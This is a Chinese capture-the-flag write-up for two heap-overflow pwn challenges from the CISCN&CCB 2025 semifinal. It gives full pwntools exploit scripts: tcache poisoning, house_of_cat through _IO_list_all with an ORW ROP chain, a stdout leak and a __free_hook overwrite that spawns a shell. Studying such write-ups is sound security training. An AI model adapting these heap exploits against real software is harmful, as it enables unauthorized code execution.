CISCN&CCB25半决赛pwn题解
prompt&tpro---break
Prompt
堆溢出的题目
这里读入一个size,是一次发送数据的size,这里有个小坑,在逆proto结构的时候把这个和堆块size搞混淆了
这里通过magic定位到
然后分析这个option
这里的1,3,0分别对应id, lable ,type
typedef enum {
/** A well-formed message must have exactly one of this field. */
PROTOBUF_C_LABEL_REQUIRED,
/**
* A well-formed message can have zero or one of this field (but not
* more than one).
*/
PROTOBUF_C_LABEL_OPTIONAL,
/**
* This field can be repeated any number of times (including zero) in a
* well-formed message. The order of the repeated values will be
* preserved.
*/
PROTOBUF_C_LABEL_REPEATED,
/**
* This field has no label. This is valid only in proto3 and is
* equivalent to OPTIONAL but no "has" quantifier will be consulted.
*/
PROTOBUF_C_LABEL_NONE,
} ProtobufCLabel;
typedef enum {
PROTOBUF_C_TYPE_INT32, /**< int32 */
PROTOBUF_C_TYPE_SINT32, /**< signed int32 */
PROTOBUF_C_TYPE_SFIXED32, /**< signed int32 (4 bytes) */
PROTOBUF_C_TYPE_INT64, /**< int64 */
PROTOBUF_C_TYPE_SINT64, /**< signed int64 */
PROTOBUF_C_TYPE_SFIXED64, /**< signed int64 (8 bytes) */
PROTOBUF_C_TYPE_UINT32, /**< unsigned int32 */
PROTOBUF_C_TYPE_FIXED32, /**< unsigned int32 (4 bytes) */
PROTOBUF_C_TYPE_UINT64, /**< unsigned int64 */
PROTOBUF_C_TYPE_FIXED64, /**< unsigned int64 (8 bytes) */
PROTOBUF_C_TYPE_FLOAT, /**< float */
PROTOBUF_C_TYPE_DOUBLE, /**< double */
PROTOBUF_C_TYPE_BOOL, /**< boolean */
PROTOBUF_C_TYPE_ENUM, /**< enumerated type */
PROTOBUF_C_TYPE_STRING, /**< UTF-8 or ASCII string */
PROTOBUF_C_TYPE_BYTES, /**< arbitrary byte sequence */
PROTOBUF_C_TYPE_MESSAGE, /**< nested message */
} ProtobufCType;可以得到
syntax = "proto2";
message devicemsg{
required int32 option = 1;
required int32 chunk_sizes = 2;
required int32 heap_chunks_id = 3;
required bytes heap_content = 4;
} 然后导出devicemsg_pb2.py这个文件。然后和程序进行交互
就是这个交互卡了半天,最后才搞清楚那个read4字节是你输入一个payload的长度,而在
这两个地方才知道,他是对后续payload的处理得到option以及size等数据,这里很久没写protobuf,有点不熟悉了
搞完这个交互就可以分析程序了,增删查改4个功能
我们可以通过protobuf结构来区分哪个是idx,哪个是size。 比如size就是a1+0x20edit功能对size输入小于0x500即可
然后随便申请一个堆块
通过溢出写直接覆盖到下面堆块的size,泄露出unsortbin的fd获取libc
再次溢出写到unsortbin里面获取heap_addr
堆块顺序太乱了,后面随便申请点堆块打tcabin_attack攻击_IO_list_all,用house_of_cat一把嗦就行了 exit退出后调用read去读入orw链子
from pwn import*
import sys
import struct
import devicemsg_pb2
elf=ELF('./1')
p=process('./1')
#p=remote('',)
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/glibc-all-in-one/libs/2.39-0ubuntu8.4_amd64/libc.so.6')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def li(a):
print(hex(a))
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_32():
return u32(p.recvuntil(b'\xf7')[-4:])
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def bug():
gdb.attach(p)
def sendmsg(content):
rl(b'Your prompt >> ')
s(p32(len(content))+content)
def add(size,idx,content):
msg=devicemsg_pb2.devicemsg()
msg.option=1
msg.chunk_sizes=size
msg.heap_chunks_id=idx
msg.heap_content=content
sendmsg(msg.SerializeToString())
def free(idx):
msg=devicemsg_pb2.devicemsg()
msg.option=2
msg.chunk_sizes=1
msg.heap_chunks_id=idx
msg.heap_content=b'a'
sendmsg(msg.SerializeToString())
def edit(size,idx,content):
msg=devicemsg_pb2.devicemsg()
msg.option=3
msg.chunk_sizes=size
msg.heap_chunks_id=idx
msg.heap_content=content
sendmsg(msg.SerializeToString())
def show(idx):
msg=devicemsg_pb2.devicemsg()
msg.option=4
msg.chunk_sizes=1
msg.heap_chunks_id=idx
msg.heap_content=b'a'
sendmsg(msg.SerializeToString())
def exit():
msg=devicemsg_pb2.devicemsg()
msg.option=5
msg.chunk_sizes=1
msg.heap_chunks_id=1
msg.heap_content=b'a'
sendmsg(msg.SerializeToString())
add(0x400,0,b'a'*8)
bug()
edit(0x500,0,b'a'*0x410)
show(0)
libc_base=get_addr()-0x203de0
edit(0x500,0,b'a'*0x460)
show(0)
rl(b'a'*0x460)
heap_base=u64(p.recv(6).ljust(8, b'\x00'))-0x2420
ret = libc_base+libc.search(asm("ret")).__next__()
rdi = libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__()
rax = libc_base+libc.search(asm("pop rax\nret")).__next__()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
rdx=libc_base+0x00000000000b503c
system,bin_sh=get_sb()
open=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
write=libc_base + libc.sym['write']
stderr=libc_base+libc.sym['stderr']
_IO_list_all=libc_base+libc.sym['_IO_list_all']+31+0x20
setcontext=libc_base + libc.sym['setcontext']
_IO_wfile_jumps =libc_base+libc.sym['_IO_wfile_jumps']
io_addr=heap_base+0x1890
fake_IO_FILE =p64(0)*2+p64(1)+p64(io_addr+0x8)
fake_IO_FILE =fake_IO_FILE.ljust(0x60,b'\x00')
fake_IO_FILE +=p64(0)+p64(io_addr+0xf0)+p64(system) #rdi,rsi
fake_IO_FILE +=p64(heap_base)
fake_IO_FILE +=p64(0x100) #rdx
fake_IO_FILE =fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(io_addr+0x8) #_wide_data,rax1_addr
fake_IO_FILE +=p64(io_addr+0xf0)+p64(rdi+1) #rsp
fake_IO_FILE +=p64(0)+p64(1)+p64(0)*2
fake_IO_FILE +=p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(setcontext+61)+p64(io_addr+0xc8)
fake_IO_FILE +=p64(read)
edit(0x500,0,b'a'*0x408+p64(0x2d0))
add(0x48,1,b'a')
edit(0x500,1,b'a'*0x48+p64(0x21)+b'a'*0x10+p64(0x20)+p64(0x80)+p64(heap_base>>12^_IO_list_all))
add(0x78,2,b'a')
add(0x78,3,b'a')
add(0x78,4,b'a')
add(0x78,5,b'a')
add(0x78,6,b'a')
add(0x78,6,p64(heap_base+0x1890))
add(0x200,7,fake_IO_FILE)
orw = b'/flag\x00\x00\x00'+p64(rdi) + p64(io_addr+0xf0)
orw += p64(rsi) + p64(0)
orw += p64(open)
orw += p64(rdi) + p64(3)
orw += p64(rsi) + p64(heap_base+0x100)
orw += p64(rdx) + p64(0x50)*5
orw += p64(read)
orw += p64(rdi) + p64(1)
orw += p64(rsi)+p64(heap_base+0x100)
orw += p64(write)
exit()
sl(orw)
inter()tpyo
2.31堆溢出
add功能
edit功能
和tpctf的db很像,在fd位置留了一个可覆盖的size位v2 = **((_QWORD **)&heaplist + v1); // size
漏洞在这里以及read(0, s, 0x100uLL);
snprintf(*((char **)&heaplist + v1), (size_t)"%lu", s, 8LL);// 溢出
这里会copy0x100的数据到堆上,我们可以控制这里从而修改下一个堆块的fd,从而在edit下一堆块的时候无限溢出
这里fd写的8个a,远程应该改小一点
然后先打tcabin attack攻击tcache perthread struct,这里通过堆溢出踩地址后四位地址(其实是倒数第四位比如这里我本地是b'°' ) 到堆块头这里,留着这个堆块不断地控制堆块数量,为后续做准备。
然后相同手法再来一个堆块申请到tcache perthread struct能控制各个堆块fd的位置
这个完事之后,我们要想泄露libc肯定是要爆破出_IO_stdout这个结构体了
那么在申请出这个堆块后,我们算出该堆块大小是0x1e1,那么就提前伪造好堆块size
然后再来一个tcabin_attack申请到这个fake_chunk,然后控制堆块数量为7,再free掉这个堆块,可以看到我们的libc地址落到堆块fd位,并且fd可以通过我们的堆溢出进行修改
修改为stdout上方
这里也是需要爆破倒数第四位
改结构体的flags为0xfbad1800覆盖wrtite_base低位为
然后就能泄露出libc地址
然后再来一个tcabin attack打free_hook,因为edit写的是fd+8位置,这里申请free_hook-8以便写到free_hook内
申请回来填入system,然后free一个/bin/sh的堆块即可获取shell
from pwn import*
elf=ELF('./1')
p=process('./1')
#p=remote('',)
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def li(a):
print(hex(a))
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_32():
return u32(p.recvuntil(b'\xf7')[-4:])
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def bug():
gdb.attach(p)
def cmd(i):
sla(b'>> ',str(i))
def add(idx,size):
cmd(1)
sla(b'Index: ',str(idx))
sla(b'Size: ',str(size-8))
def free(idx):
cmd(2)
sla(b'Index: ',str(idx))
def edit(idx,con,con2):
cmd(3)
sla(b'Index: ',str(idx))
sa(b'New size of content: ',con)
sa(b'What do you want to say: ',con2)
add(0,0x98)
add(1,0x98)
add(2,0x98)
add(3,0x98)
add(4,0x98)
add(5,0x98)
add(6,0x98)
add(7,0x98)
edit(0,b'a'*0xa8,b'b'*0x90)
#tcabin attack >>> tcache perthread struct
free(3)
free(2)
edit(1,b'a'*0x10,b'b'*0x90+p64(0xa1)+b'\x10\xb0')
add(8,0x98)
add(9,0x98)
edit(9,b'a'*0x20,p16(0x6)*4+p64(0x5))
#tcabin attack >>> tcache perthread struct heap_fd
free(5)
free(4)
edit(1,b'a'*0x10,b'b'*0x90+p64(0xa1)+b'a'*0x98+p64(0xa1)+b'\x00'*0x98+p64(0xa1)+b'\xa0\xb0')
add(10,0x98)
add(11,0x98)
edit(11,b'a'*0x8,p64(0)*2+p64(0x1e1))
edit(9,b'a'*0x20,p16(0x6)*4+p64(0x5))
free(7)
free(6)
#tcabin attack >>> fake_chunk
edit(1,b'a'*0x10,b'b'*0x90+p64(0xa1)+b'a'*0x98+p64(0xa1)+b'\x00'*0x98+p64(0xa1)+b'\x00'*0x98+p64(0xa1)+b'\x00'*0x98+p64(0xa1)+b'\xc0\xb0')
add(12,0x98)
add(13,0x98)
edit(9,b'a'*0x20,p16(0x7)*40)
free(13)
#修改fd为stdout
edit(11,b'a'*0x8,p64(0)*2+p64(0x1e1)+b'\x78\x26') #_IO_stdout
add(14,0x78)
edit(14,b'a'*0x8,b'\x00'*0x20+p64(0xfbad1800) + p64(0)*3 + b'\x00')
rl(b'\x00'*8)
libc_base=u64(p.recv(6).ljust(8, b'\x00'))-0x1ec980
li(libc_base)
system,bin=get_sb()
hook=libc_base+libc.sym['__free_hook']
edit(9,b'a'*0x20,p16(0x5)*40)
free(12)
free(10)
edit(1,b'a'*0x10,b'b'*0x90+p64(0xa1)+b'a'*0x98+p64(0xa1)+b'\x00'*0x98+p64(0xa1)+p64(hook-8))
add(15,0x98)
add(16,0x98)
edit(16,p64(system),p64(system))
edit(1,b'a'*0x10,b'/bin/sh\x00'*0x100)
free(8)
inter()